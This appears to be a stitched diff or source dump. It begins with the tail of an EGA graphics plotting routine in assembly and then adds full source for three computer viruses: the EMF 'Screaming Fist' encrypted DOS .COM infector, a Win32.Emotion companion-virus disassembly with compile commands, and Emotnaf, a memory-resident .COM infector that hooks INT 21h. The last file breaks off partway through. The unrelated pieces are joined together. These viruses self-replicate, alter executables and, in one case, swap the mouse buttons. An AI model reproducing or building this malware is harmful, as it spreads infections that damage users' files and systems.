||||
out dx, al
|
||||
mov al, es:[si] ; read data into latches
|
||||
mov es:[si], al ; and do a write
|
||||
ret
|
||||
|
||||
pEnd plot
|
||||
|
||||
;
|
||||
; C interface for point plotter
|
||||
;
|
||||
; EGA_point(x, y, c)
|
||||
;
|
||||
|
||||
pBegin EGA_point
|
||||
|
||||
push bp
|
||||
mov bp, sp
|
||||
push si
|
||||
push di
|
||||
|
||||
push [bp+argbase+4] ; call setup routine
|
||||
call EGA_point_set
|
||||
add sp, 2
|
||||
|
||||
mov ax, [bp+argbase+2]
|
||||
mov bx, [bp+argbase+4]
|
||||
mov cx, [bp+argbase]
|
||||
call plot
|
||||
|
||||
call EGA_point_res ; reset EGA
|
||||
|
||||
pop di
|
||||
pop si
|
||||
mov sp, bp
|
||||
pop bp
|
||||
ret
|
||||
|
||||
pEnd EGA_point
|
||||
|
||||
;
|
||||
; write for pixels for circle drawing
|
||||
;
|
||||
; void EGA_write_pix(x1, y1, x2, y2, c)
|
||||
;
|
||||
; can just ignore color here 'cause that's all setup at setup time...
|
||||
;
|
||||
|
||||
pBegin EGA_write_pix
|
||||
|
||||
push bp
|
||||
mov bp, sp
|
||||
push si
|
||||
push di
|
||||
|
||||
mov cx, [bp+argbase] ; cx = x1
|
||||
cmp cx, g_xcliplo ; check for clipping
|
||||
jb w2
|
||||
cmp cx, g_xcliphi
|
||||
ja w2
|
||||
|
||||
mov ax, [bp+argbase+2] ; ax = y1
|
||||
cmp ax, g_ycliplo ; do clipping
|
||||
jb w1
|
||||
cmp ax, g_ycliphi
|
||||
ja w1
|
||||
|
||||
push cx ; plot (x1, y1)
|
||||
call plot
|
||||
pop cx
|
||||
|
||||
w1: mov ax, [bp+argbase+6] ; ax = y2
|
||||
cmp ax, g_ycliplo
|
||||
jb w2
|
||||
cmp ax, g_ycliphi
|
||||
ja w2
|
||||
|
||||
call plot ; plot (x1, y2)
|
||||
|
||||
w2: mov cx, [bp+argbase+4] ; cx = x2
|
||||
cmp cx, g_xcliplo
|
||||
jb w4
|
||||
cmp cx, g_xcliphi
|
||||
ja w4
|
||||
|
||||
mov ax, [bp+argbase+2] ; ax = y1
|
||||
cmp ax, g_ycliplo ; do clipping
|
||||
jb w3
|
||||
cmp ax, g_ycliphi
|
||||
ja w3
|
||||
|
||||
push cx ; plot (x2, y1)
|
||||
call plot
|
||||
pop cx
|
||||
|
||||
w3: mov ax, [bp+argbase+6] ; ax = y2
|
||||
cmp ax, g_ycliplo
|
||||
jb w4
|
||||
cmp ax, g_ycliphi
|
||||
ja w4
|
||||
|
||||
call plot ; plot (x2, y2)
|
||||
|
||||
w4: pop di
|
||||
pop si
|
||||
mov sp, bp
|
||||
pop bp
|
||||
ret
|
||||
|
||||
pEnd EGA_write_pix
|
||||
|
||||
df_ EGA_point
|
||||
df_ EGA_write_pix
|
||||
df_ EGA_plot
|
||||
|
||||
endcs _egagrafa
|
||||
|
||||
end
|
|
@ -0,0 +1,271 @@
|
|||
|
||||
DATA SEGMENT
|
||||
ORG 100H
|
||||
DATA ENDS
|
||||
|
||||
; The EMF virus (c)1991 by Lazarus Long, Inc.
|
||||
; The author assumes no responsibility for any damage incurred
|
||||
; from the execution of this file, intentional or not
|
||||
;
|
||||
|
||||
|
||||
START:
|
||||
JMP VIRUS_START
|
||||
|
||||
ENCRYPT_BYTE DB 00H ;Storage space for byte that ID string is
|
||||
;Encrypted by
|
||||
|
||||
;------------------------------------------------------------------------------;
|
||||
;The code from here to ENC_START is always unencrypted and SCAN would be able ;
|
||||
;to find it. Maybe a quick look at V2P7 would be in order (Hint,Hint!) ;
|
||||
;------------------------------------------------------------------------------;
|
||||
|
||||
VIRUS_START:
|
||||
CALL NEXT_STEP
|
||||
NEXT_STEP:
|
||||
POP BP ;All actions relative to BP,
|
||||
|
||||
IN AL,21H ;Lock out keyboard
|
||||
PUSH AX
|
||||
OR AL,2
|
||||
OUT 21H,AL
|
||||
|
||||
|
||||
MOV CX,ENC_LENGTH ;Number of bytes to decrypt ;cause offsets
|
||||
|
||||
LEA SI,[BP+OFFSET ENC_START-NEXT_STEP] ;Offset of data to decrypt ;change in infected files
|
||||
MOV DL,[103H] ;Byte to decrypt with
|
||||
|
||||
CALL CRYPT ;Decrypt main body of virus
|
||||
CALL RESTORE_EIGHT
|
||||
JMP SAVE_PSP ;Continue
|
||||
|
||||
INFECT:
|
||||
CALL CRYPT_WRITE
|
||||
MOV AH,40H
|
||||
MOV DX,BP ;Starting from BP-3
|
||||
SUB DX,3 ;Which,convienently,is the start
|
||||
MOV CX,ENC_END-108H ;of our viral code
|
||||
INT 21H ;Write all of virus
|
||||
CALL CRYPT_WRITE ;Return and continue
|
||||
RET
|
||||
|
||||
CRYPT_WRITE:
|
||||
|
||||
MOV CX,ENC_LENGTH ;Number of bytes to decrypt
|
||||
LEA SI,[BP+ OFFSET ENC_START - NEXT_STEP] ;Address to start decryption
|
||||
MOV DL,[0FBH] ;Byte to decrypt with
|
||||
CALL CRYPT
|
||||
RET
|
||||
|
||||
;******************************************************************************;
|
||||
;Call this with SI equal to address to XOR,and CX number of bytes to XOR :
|
||||
; ;
|
||||
;******************************************************************************;
|
||||
CRYPT:
|
||||
XOR BYTE PTR [SI],DL ;XOR it
|
||||
INC SI ;Increment XOR address
|
||||
INC DL ;Change encryption key,eh?
|
||||
NOT DL ;Reverse the key
|
||||
LOOP CRYPT ;Until CX=0
|
||||
RET ;Then return
|
||||
|
||||
;******************************************************************************;
|
||||
; Save PSP ;
|
||||
;******************************************************************************;
|
||||
|
||||
ENC_START EQU $
|
||||
SAVE_PSP:
|
||||
MOV AH,30H ;Get DOS version
|
||||
INT 21H
|
||||
CMP AL,2 ;Lower than 2?
|
||||
JNB ABOVE_2 ;No,continue
|
||||
CALL RESTORE_EIGHT
|
||||
MOV SI,100H ;If so return
|
||||
PUSH SI
|
||||
RET 0FFFFH
|
||||
|
||||
ABOVE_2:
|
||||
PUSH ES ;Save ES
|
||||
MOV AX,3524H ;Get INT 24 address
|
||||
INT 21H
|
||||
MOV [BP+OLD_B-NEXT_STEP],BX ;Save it
|
||||
MOV [BP+OLD_E-NEXT_STEP],ES
|
||||
MOV AH,25H ;Now set it to our own code
|
||||
LEA DX,[BP+NEW_24-NEXT_STEP]
|
||||
INT 21H
|
||||
POP ES ;Restore ES
|
||||
|
||||
MOV CX,128 ;Number of bytes to save
|
||||
MOV SI,80H ;From 80H. ie the PSP
|
||||
LEA DI,[BP+ENC_END-NEXT_STEP] ;To the end of our code
|
||||
PUSH DI ;Save location so we can restore the bytes
|
||||
REP MOVSB ;Mov'em
|
||||
|
||||
;------------------------------------------------------------------------------; ;
|
||||
; Find first .COM file that is either Hidden,read-only,system,or archive ;
|
||||
;------------------------------------------------------------------------------;
|
||||
|
||||
|
||||
FIND_FIRST:
|
||||
|
||||
LEA DX,[BP+WILD_CARD-NEXT_STEP] ;Offset of *.COM,00
|
||||
MOV CX,27H ;Find ANY file that fits *.COM
|
||||
MOV AH,4EH ;Find first matching file
|
||||
INT 21H
|
||||
JC QUIT ;If no *.COM files found,quit
|
||||
JMP SET_ATTRIBS
|
||||
|
||||
FIND_AGAIN:
|
||||
|
||||
LEA DX,[BP+WILD_CARD-NEXT_STEP] ;Offset of *.com
|
||||
MOV AH,4FH ;Find next matching file
|
||||
MOV CX,27H ;Archive,Hidden,Read-only,or System
|
||||
INT 21H
|
||||
JC QUIT ;No more files? Then exit
|
||||
|
||||
SET_ATTRIBS:
|
||||
MOV AX,[096H] ;Get time
|
||||
AND AL,1EH ;Are the seconds set to 60?
|
||||
CMP AL,1EH ;
|
||||
JZ FIND_AGAIN ;If so,assume this file is infected,find another
|
||||
;------------------------------------------------------------------------------;
|
||||
; Open file and infect it. ;
|
||||
; ;
|
||||
;------------------------------------------------------------------------------;
|
||||
MOV DX,9EH ;offset into DTA of filename
|
||||
MOV AX,4301H ;Set file attribs
|
||||
XOR CX,CX ;To normal file
|
||||
INT 21H
|
||||
JC QUIT ;Some sort of error occured,exit now!
|
||||
MOV AX,3D02H ;Code for open file with read and write
|
||||
;access
|
||||
INT 21H ;DX points to ASCIIZ string of filename
|
||||
MOV CX,04 ;Read four bytes
|
||||
MOV BX,AX ;Save handle for future use
|
||||
MOV DX,0ACH ;Set buffer to end of DTA
|
||||
MOV AH,3FH ;Read from file
|
||||
INT 21H
|
||||
JMP MAKE_HEADER
|
||||
|
||||
QUIT:
|
||||
JMP DONE
|
||||
|
||||
;------------------------------------------------------------------------------;
|
||||
; Infect .COM header so it jumps to our viral code ;
|
||||
;------------------------------------------------------------------------------;
|
||||
MAKE_HEADER:
|
||||
MOV [0F9H],[9AH] ;Offset off file size in DTA
|
||||
MOV [0F8H]B,0E9H ;Code for absolute JMP
|
||||
SUB WORD PTR [0F9H],2 ;Adjust it just a bit
|
||||
MOV AX,4200H ;Set file pointer to beginning
|
||||
;of file to be infected
|
||||
XOR CX,CX ;Zero out CX
|
||||
XOR DX,DX ;Zero out DX
|
||||
INT 21H
|
||||
MOV AH,2CH ;Get time
|
||||
INT 21H
|
||||
ADD DL,[104H] ;And add to what we had before
|
||||
MOV [0FBH],DL ;Save that value for our key
|
||||
MOV AH,40H ;Write to file
|
||||
MOV DX,0F8H ;Starting at F8 hex
|
||||
MOV CX,04H ;Write eight bytes
|
||||
INT 21H
|
||||
|
||||
ERROR:
|
||||
JC DONE ;Some sort of error?
|
||||
;If so,exit
|
||||
;------------------------------------------------------------------------------;
|
||||
; Attach our viral code to the end of the target .COM file ;
|
||||
; ;
|
||||
;------------------------------------------------------------------------------;
|
||||
MOV SI,0ACH ;Starting at A9h
|
||||
MOV CX,04 ;Mov eight bytes
|
||||
LEA DI,[BP+ORIGINAL_EIGHT-NEXT_STEP];Where to save original eight bytes to
|
||||
REP MOVSB ;Save infected files original eight bytes
|
||||
MOV AX,4202H ;Set file pointer to end of file
|
||||
;plus 1
|
||||
XOR CX,CX ;Zero CX
|
||||
MOV DX,1 ;Make DX=1
|
||||
INT 21H
|
||||
CALL INFECT ;Encrypt code, write it to file,
|
||||
;Decrypt it,and return
|
||||
;------------------------------------------------------------------------------;
|
||||
; This restores the files original date and time ;
|
||||
;------------------------------------------------------------------------------;
|
||||
|
||||
MOV AX,5701H ;Restore original date and time
|
||||
MOV CX,[96H] ;From what was read in earlier
|
||||
MOV DX,[98H]
|
||||
AND CX,0FFE0H
|
||||
OR CX,01EH ;Change seconds to 60
|
||||
INT 21H
|
||||
MOV AH,3EH ;Close that file
|
||||
INT 21H
|
||||
CALL RESTORE_ATTRIBS ;Restore it's attributes
|
||||
|
||||
DONE:
|
||||
RESTORE_PSP:
|
||||
PUSH DS ;Save the DS register
|
||||
MOV DX,[BP+OLD_B-NEXT_STEP]W ;Move the old INT 24's address
|
||||
MOV DS,[BP+OLD_E-NEXT_STEP]W ;so we can restore it
|
||||
MOV AX,2524H ;Restore it
|
||||
INT 21H
|
||||
POP DS ;Restore the DS register
|
||||
POP SI ;SI is equal to address we stored
|
||||
;our PSP at
|
||||
MOV DI,80H ;Want to move saved PSP to 80h
|
||||
MOV CX,128 ;Want to move 128 bytes
|
||||
REP MOVSB
|
||||
MOV SI,100H ;Odd sort of jump
|
||||
POP AX
|
||||
PUSH SI ;Ends up restoring control to
|
||||
;100h
|
||||
OUT 21H,AL ;Unlock keyboard
|
||||
RET 0FFFFH ;Pop off all of stack
|
||||
|
||||
RESTORE_EIGHT:
|
||||
LEA SI,[BP+ORIGINAL_EIGHT-NEXT_STEP] ;Restore original eight bytes so we
|
||||
;can RET
|
||||
MOV DI,100H ;Destination of move
|
||||
MOV CX,04 ;Move eight bytes
|
||||
REP MOVSB
|
||||
RET
|
||||
|
||||
RESTORE_ATTRIBS:
|
||||
;------------------------------------------------------------------------------;
|
||||
; This routine restores the files original attributes. ;
|
||||
;------------------------------------------------------------------------------;
|
||||
MOV AX,4301H ;Restore original attribs
|
||||
XOR CX,CX ;Zero out CX
|
||||
MOV CL,[95H] ;To what was read in earlier
|
||||
MOV DX,09EH ;Offset of filename
|
||||
INT 21H
|
||||
RET
|
||||
|
||||
NEW_24:
|
||||
XOR AX,AX ;Any error will simply be ignored
|
||||
STC ;Most useful for write protects
|
||||
IRET
|
||||
|
||||
|
||||
|
||||
OLD_E EQU $
|
||||
OLD_ES DW 00 00
|
||||
OLD_B EQU $
|
||||
OLD_BX DW 00 00
|
||||
|
||||
ORIGINAL_EIGHT EQU $
|
||||
OLD_EIGHT_BYTES DB ,0CDH,20H,00,00 ;Bytes that are moved
|
||||
;and RET'd to
|
||||
WILD_CARD EQU $
|
||||
FILESPEC DB '*.COM',00
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
;This is just some generic text. Don't be a lamer and change the text and claim
|
||||
;it was your own creation.
|
||||
;------------------------------------------------------------------------------
|
||||
TEXT DB 'Screaming Fist (c)10/91'
|
||||
ENC_END EQU $
|
||||
|
||||
ENC_LENGTH = ENC_END - ENC_START ;Length of code to be encrypted
|
|
@ -0,0 +1,263 @@
|
|||
comment *
|
||||
Win32.Emotion ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
|
||||
Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
|
||||
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
|
||||
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
|
||||
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
|
||||
|
||||
Win32.Emotion is a 4608 bytes direct action companion EXE virus. Infects
|
||||
every file in current directory and Windows directory, when executed, by
|
||||
moving the original EXE file to a BIN file by the same name and overwriting
|
||||
the original EXE file with the virus.
|
||||
|
||||
Compile Win32.Emotion with Turbo Assembler v 5.0 by typing:
|
||||
TASM32 /M /ML EMOTION.ASM
|
||||
TLINK32 -Tpe -x -aa EMOTION.OBJ,,, IMPORT32
|
||||
VGALIGN EMOTION.EXE
|
||||
PEWRSEC EMOTION.EXE
|
||||
*
|
||||
|
||||
jumps
|
||||
locals
|
||||
.386
|
||||
.model flat
|
||||
; KERNEL32.dll
|
||||
extrn ExitProcess:proc
|
||||
extrn GetModuleHandleA:proc
|
||||
extrn FindNextFileA:proc
|
||||
extrn GetCommandLineA:proc
|
||||
extrn FindFirstFileA:proc
|
||||
extrn CopyFileA:proc
|
||||
extrn GetSystemTime:proc
|
||||
extrn GetWindowsDirectoryA:proc
|
||||
extrn MoveFileA:proc
|
||||
extrn SetCurrentDirectoryA:proc
|
||||
extrn WinExec:proc
|
||||
extrn GetModuleFileNameA:proc
|
||||
; USER32.dll
|
||||
extrn SwapMouseButton:proc
|
||||
extrn MessageBoxA:proc
|
||||
|
||||
.data
|
||||
MAX_PATH equ 104h
|
||||
NULL equ 00h
|
||||
TRUE equ 01h
|
||||
MB_ICONHAND equ 10h ; A stop-sign icon appears in the
|
||||
; message box
|
||||
SW_SHOWNORMAL equ 01h ; Activates and displays a window
|
||||
INVALID_HANDLE_VALUE equ -01h
|
||||
FALSE equ 00h
|
||||
|
||||
SYSTEMTIME struct
|
||||
wYear WORD ? ; Specifies the current year
|
||||
wMonth WORD ? ; Specifies the current month;
|
||||
; January = 1, February = 2, and so on
|
||||
wDayOfWeek WORD ? ; Specifies the current day of the
|
||||
; week
|
||||
wDay WORD ? ; Specifies the current day of the
|
||||
; month
|
||||
wHour WORD ? ; Specifies the current hour
|
||||
wMinute WORD ? ; Specifies the current minute
|
||||
wSecond WORD ? ; Specifies the current second
|
||||
wMilliseconds WORD ? ; Specifies the current millisecond
|
||||
ends
|
||||
|
||||
FILETIME struct
|
||||
dwLowDateTime DWORD ? ; Specifies the low-order 32 bits of
|
||||
; the file time
|
||||
dwHighDateTime DWORD ? ; Specifies the high-order 32 bits of
|
||||
; the file time
|
||||
FILETIME ends
|
||||
|
||||
WIN32_FIND_DATA struct
|
||||
dwFileAttributes DWORD ? ; Specifies the file attributes of the
|
||||
; file found
|
||||
ftCreationTime FILETIME <> ; Specifies the time the file was
|
||||
; created
|
||||
ftLastAccessTime FILETIME <> ; Specifies the time that the file was
|
||||
; last accessed
|
||||
ftLastWriteTime FILETIME <> ; Specifies the time that the file was
|
||||
; last written to
|
||||
nFileSizeHigh DWORD ? ; Specifies the high-order DWORD value
|
||||
; of the file size, in bytes
|
||||
nFileSizeLow DWORD ? ; Specifies the low-order DWORD value
|
||||
; of the file size, in bytes
|
||||
dwReserved0 DWORD ? ; Reserved for future use
|
||||
dwReserved1 DWORD ? ; Reserved for future use
|
||||
cFileName BYTE MAX_PATH dup(?)
|
||||
; A null-terminated string that is the
|
||||
; name of the file
|
||||
cAlternate BYTE 0eh dup(?) ; A null-terminated string that is an
|
||||
; alternative name for the file
|
||||
ends
|
||||
db ?
|
||||
|
||||
.code
|
||||
code_begin:
|
||||
push NULL ; Get module handle of KERNEL32.dll
|
||||
call GetModuleHandleA
|
||||
|
||||
push MAX_PATH ; Size of buffer, in characters
|
||||
push offset cFilename ; Pointer to buffer for module path
|
||||
push eax ; Handle to module to find filename
|
||||
; for
|
||||
call GetModuleFileNameA
|
||||
|
||||
jmp _FindFirstFileA
|
||||
_GetWindowsDirectoryA:
|
||||
push MAX_PATH ; Size of directory buffer
|
||||
push offset cBuffer ; Address of buffer for Windows
|
||||
; directory
|
||||
call GetWindowsDirectoryA
|
||||
|
||||
push offset szCurDir ; Address of name of new current
|
||||
; directory
|
||||
call SetCurrentDirectoryA
|
||||
|
||||
mov [set_current_directory],TRUE
|
||||
|
||||
jmp _FindFirstFileA
|
||||
_GetCommandLineA:
|
||||
call GetCommandLineA
|
||||
mov esi,eax ; ESI = pointer to the command-line
|
||||
; string for the current process
|
||||
lea edi,szCmdLine ; EDI = pointer to szCmdLine
|
||||
move_commandline_loop:
|
||||
stosb ; Store a byte of command-line
|
||||
lodsb ; AL = a byte of command-line
|
||||
|
||||
or al,al ; End of command-line?
|
||||
jnz move_commandline_loop ; Not zero? Jump to
|
||||
; move_commandline_loop
|
||||
mov eax,'.' ; Dot
|
||||
lea edi,szCmdLine ; EDI = pointer to szCmdLine
|
||||
mov ecx,MAX_PATH ; ECX = size of directory buffer
|
||||
repne scasb ; Find the dot in the filename
|
||||
|
||||
mov dword ptr [edi],' nib' ; Change the extention of the filename
|
||||
; to .BIN
|
||||
mov word ptr [szCmdLine],' '
|
||||
|
||||
push offset SystemTime ; Address of system time structure
|
||||
call GetSystemTime
|
||||
|
||||
cmp byte ptr [SystemTime.wMonth],05h
|
||||
jne _WinExec ; May? Jump to _WinExec
|
||||
cmp byte ptr [SystemTime.wDay],0dh
|
||||
jne _WinExec ; 13th of May? Jump to _WinExec
|
||||
|
||||
push MB_ICONHAND ; A stop-sign icon appears in the
|
||||
; message box
|
||||
push offset szCaption ; Address of title of message box
|
||||
push offset szText ; Address of text in message box
|
||||
push NULL ; Message box has no owner window
|
||||
call MessageBoxA
|
||||
|
||||
push TRUE ; Reverse buttons
|
||||
call SwapMouseButton
|
||||
_WinExec:
|
||||
push SW_SHOWNORMAL ; Activates and displays a window
|
||||
push offset szCmdLine ; Address of command-line
|
||||
call WinExec
|
||||
|
||||
push 00h ; Exit code for all threads
|
||||
call ExitProcess
|
||||
_FindFirstFileA:
|
||||
push offset FindFileData ; Address of returned information
|
||||
push offset szFileName ; Address of name of file to search
|
||||
; for
|
||||
call FindFirstFileA
|
||||
cmp eax,INVALID_HANDLE_VALUE
|
||||
je function_failed ; Function failed? Jump to
|
||||
; function_failed
|
||||
|
||||
lea edi,FindFileData ; EDI = pointer to FindFileData
|
||||
lea esi,[edi+cFileName-WIN32_FIND_DATA]
|
||||
push eax ; EAX = search handle
|
||||
|
||||
jmp move_filename
|
||||
_FindNextFileA:
|
||||
push edi ; EDI = pointer to FindFileData
|
||||
lea edi,[edi+cFileName-WIN32_FIND_DATA]
|
||||
mov ecx,0dh ; Store thirteen zeros
|
||||
xor al,al ; Zero AL
|
||||
rep stosb ; Store zero
|
||||
|
||||
lea edi,szNewFileName ; EDI = pointer to szNewFileName
|
||||
mov ecx,0dh ; Store thirteen zeros
|
||||
xor al,al ; Zero AL
|
||||
rep stosb ; Store zero
|
||||
pop edi ; EDI = pointer to FindFileData
|
||||
|
||||
pop eax ; EAX = search handle
|
||||
push eax ; EAX = search handle
|
||||
|
||||
push edi ; Address of structure for data on
|
||||
; found file
|
||||
push eax ; Handle of search
|
||||
call FindNextFileA
|
||||
or eax,eax ; Function failed?
|
||||
jz function_failed ; Zero? Jump to function_failed
|
||||
|
||||
lea edi,FindFileData ; EDI = pointer to FindFileData
|
||||
lea esi,[edi+cFileName-WIN32_FIND_DATA]
|
||||
|
||||
jmp move_filename
|
||||
function_failed:
|
||||
cmp [set_current_directory],TRUE
|
||||
je _GetCommandLineA ; Equal? Jump to _GetCommandLineA
|
||||
|
||||
jmp _GetWindowsDirectoryA
|
||||
move_filename:
|
||||
push edi ; EDI = pointer to FindFileData
|
||||
lea si,[edi+cFileName-WIN32_FIND_DATA]
|
||||
lea edi,szNewFileName ; EDI = pointer to szNewFileName
|
||||
move_filename_loop:
|
||||
lodsb ; AL = a byte of command-line
|
||||
stosb ; Store a byte of command-line
|
||||
|
||||
or al,al ; End of command-line?
|
||||
jnz move_filename_loop ; Not zero? Jump to move_filename_loop
|
||||
|
||||
xor eax,eax ; Zero EAX
|
||||
lea edi,szNewFileName ; EDI = pointer to szNewFileName
|
||||
mov ecx,41h ; Search through sixty-five characters
|
||||
repne scasb ; Find end of filename
|
||||
|
||||
mov dword ptr [edi-04h],'nib'
|
||||
pop edi ; EDI = pointer to FindFileData
|
||||
|
||||
push offset szNewFileName ; Address of new name for the file
|
||||
lea eax,[edi+cFileName-WIN32_FIND_DATA]
|
||||
push eax ; Address of name of the existing file
|
||||
call MoveFileA
|
||||
|
||||
push FALSE ; If file already exists, overwrite it
|
||||
lea eax,[edi+cFileName-WIN32_FIND_DATA]
|
||||
push eax ; Address of filename to copy to
|
||||
lea eax,szExistingFileName ; EAX = pointer to szExistingFileName
|
||||
push eax ; Address of name of an existing file
|
||||
call CopyFileA
|
||||
|
||||
jmp _FindNextFileA
|
||||
code_end:
|
||||
szFileName db '*.EXE',00h ; Name of file to search for
|
||||
szCaption db 'w32.Emotion - By: Techno Phunk [TI]',00h
|
||||
szText db 'A pool of emotions, beaten and abused.',0dh,0ah
|
||||
db 'Who will swim in the stale waters? Not a one',0dh,0ah
|
||||
db 'But many will scoff and destroy this pool with apathy',00h
|
||||
szCurDir:
|
||||
cBuffer db MAX_PATH dup(00h)
|
||||
; Buffer for Windows directory
|
||||
szNewFileName db MAX_PATH dup(00h)
|
||||
; New name for the file
|
||||
szExistingFileName:
|
||||
szCmdLine:
|
||||
cFilename db MAX_PATH dup(00h)
|
||||
; Buffer for module path
|
||||
SystemTime SYSTEMTIME <>
|
||||
set_current_directory db FALSE
|
||||
FindFileData WIN32_FIND_DATA <>
|
||||
data_end:
|
||||
|
||||
end code_begin
|
|
@ -0,0 +1,215 @@
|
|||
; ------------------------------------------------------------------------- ;
|
||||
; Emotnaf v1.1 coded by KilJaeden of the Codebreakers 1998 ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; Description: `-------------------| Started: 23/06/98 | Finished: 00/00/00 ;
|
||||
; `-------------------^------------------- ;
|
||||
; v1.0 - Memory resident .com appender, infects upon execution | Size: 000 ;
|
||||
; v1.1 - Experiment with new ways to write this code... `---------- ;
|
||||
; v1.2 - restore time/date stamps and file attributes now ;
|
||||
; v1.3 - makes sure it isnt a .exe renamed as a .com ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; -> Dedicated to wicked music everywhere, like Rage Against The Machine <- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; to compile ::] tasm emotnaf.asm ;
|
||||
; to link :::::] tlink /t emotnaf.obj ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
code segment ; name our segment 'code'
|
||||
assume cs:code,ds:code ; assign CS and DS to code
|
||||
org 100h ; this be a .com file
|
||||
.286 ; needed for pusha/popa
|
||||
jumps ; save space wasted jumping
|
||||
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||||
|
||||
blank: db 0e9h,0,0 ; jump to start of code
|
||||
start: call delta ; push IP on to stack
|
||||
delta: pop bp ; pop it into bp
|
||||
sub bp,offset delta ; get the delta offset
|
||||
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||||
|
||||
mov ax,0deadh ; check if already resident
|
||||
int 21h ; if we are, bx = 0deadh now
|
||||
cmp bx,0deadh ; does bx hold 0deadh ?
|
||||
je first3 ; we are already resident!
|
||||
|
||||
sub word ptr cs:[2],80h ; lower top of PSP mem data
|
||||
mov ax,cs ; move CS into AX
|
||||
dec ax ; decrement AX
|
||||
mov ds,ax ; move AX into DS
|
||||
sub word ptr ds:[3],80h ; sub 2kb from accessed MCB
|
||||
xor ax,ax ; xor the value in ax to 0
|
||||
mov ds,ax ; move that value into DS
|
||||
sub word ptr ds:[413h],2 ; adjust BIOS data by 2kb
|
||||
mov ax,word ptr ds:[413h] ; move adjusted BIOS data
|
||||
mov cl,6 ; load cl with value of 6
|
||||
shl ax,cl ; multiply BIOS mem by 64
|
||||
mov es,ax ; move value into ES
|
||||
push cs ; push value of code segment
|
||||
pop ds ; into data segment register
|
||||
xor di,di ; xor value in DI to 0
|
||||
lea si,[bp+start] ; load the source index
|
||||
mov cx,finished-start ; # of bytes to load up
|
||||
rep movsb ; load virus into memory
|
||||
|
||||
xor ax,ax ; value in ax to 0
|
||||
mov ds,ax ; move value into DS
|
||||
lea ax,new21 ; point IVT to new ISR
|
||||
sub ax,offset start ; subtract start offset
|
||||
mov bx,es ; move es into bx
|
||||
|
||||
cli ; interrupts off
|
||||
xchg ax,word ptr ds:[84h] ; switch old/new int 21h
|
||||
xchg bx,word ptr ds:[86h] ; switch old/new int 21h
|
||||
mov word ptr es:[oi21-offset start],ax ; save the old int 21h
|
||||
mov word ptr es:[oi21+2-offset start],bx ; save the old int 21h
|
||||
sti ; interrupts on
|
||||
|
||||
push cs cs ; push code segment twice
|
||||
pop ds es ; into DS and ES registers
|
||||
|
||||
first3: lea si,[bp+saved] ; load up the source index
|
||||
mov di,100h ; load the destination index
|
||||
push di ; push 100h on to the stack
|
||||
movsw ; move two bytes now
|
||||
movsb ; move one byte now
|
||||
retn ; return control to host
|
||||
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||||
|
||||
new21: pushf ; push all flags
|
||||
pusha ; push all registers
|
||||
push ds ; push data segment register
|
||||
push es ; push extra segment register
|
||||
push bp ; save the delta offset
|
||||
|
||||
cmp ax,0deadh ; are we testing if resident?
|
||||
je rezchk ; yes, show them we are rez
|
||||
|
||||
cmp ah,4bh ; something being executed?
|
||||
je infect ; yes, infect the file
|
||||
|
||||
exit: pop bp ; restore the delta offset
|
||||
pop es ; pop ES from the stack
|
||||
pop ds ; pop DS from the stack
|
||||
popa ; pop all registers
|
||||
popf ; pop all flags
|
||||
db 0eah ; jump to original ISR
|
||||
oi21 dd ? ; old int 21 goes here
|
||||
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||||
|
||||
rezchk: mov bx,0deadh ; move check value into bx
|
||||
jmp exit ; and go to original int 21h
|
||||
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||||
|
||||
infect: call tsrdel ; push IP on to stack again
|
||||
tsrdel: pop bp ; pop it into bp
|
||||
sub bp,offset tsrdel ; get the 2nd delta offset
|
||||
|
||||
push ds ; push DS on to stack
|
||||
pop es ; pop it into es
|
||||
mov di,dx ; move file handle into di
|
||||
mov cx,64 ; 64 byte filename possible
|
||||
mov al,'.' ; load al with the .
|
||||
cld ; clear direction flag
|
||||
repnz scasb ; scan until . is hit
|
||||
cmp word ptr ds:[di],'OC' ; is the file .CO- ?
|
||||
jne abort ; not it isn't, abort
|
||||
cmp byte ptr ds:[di+2],'M' ; is the file .--M ?
|
||||
jne abort ; no it isn't, abort
|
||||
|
||||
mov ax,4300h ; get file attributes
|
||||
int 21h ; attributes in cx now
|
||||
push cx ; save the attributes
|
||||
push dx ; save the file handle
|
||||
|
||||
mov ax,4301h ; set file attributes
|
||||
xor cx,cx ; to none at all
|
||||
int 21h ; ready to open up now
|
||||
|
||||
mov ax,3d02h ; open the file read/write
|
||||
int 21h ; open the file now
|
||||
xchg bx,ax ; move the file handle
|
||||
|
||||
push cs cs ; push CS on to stack twice
|
||||
pop ds es ; pop it into DS and ES
|
||||
|
||||
mov ax,5700h ; get time / date stamps
|
||||
int 21h ; time in cx, date in dx
|
||||
push cx ; save the time
|
||||
push dx ; save the date
|
||||
|
||||
mov ah,3fh ; the read function
|
||||
lea dx,[bp+saved] ; read the bytes to here
|
||||
mov cx,3 ; read first three bytes
|
||||
int 21h ; first three recorded
|
||||
|
||||
cmp word ptr [bp+saved],'ZM' ; check if renamed .exe
|
||||
je close ; shit, this be a .exe!
|
||||
cmp word ptr [bp+saved],'MZ' ; check if renamed .exe
|
||||
je close ; shit, this be a .exe!
|
||||
|
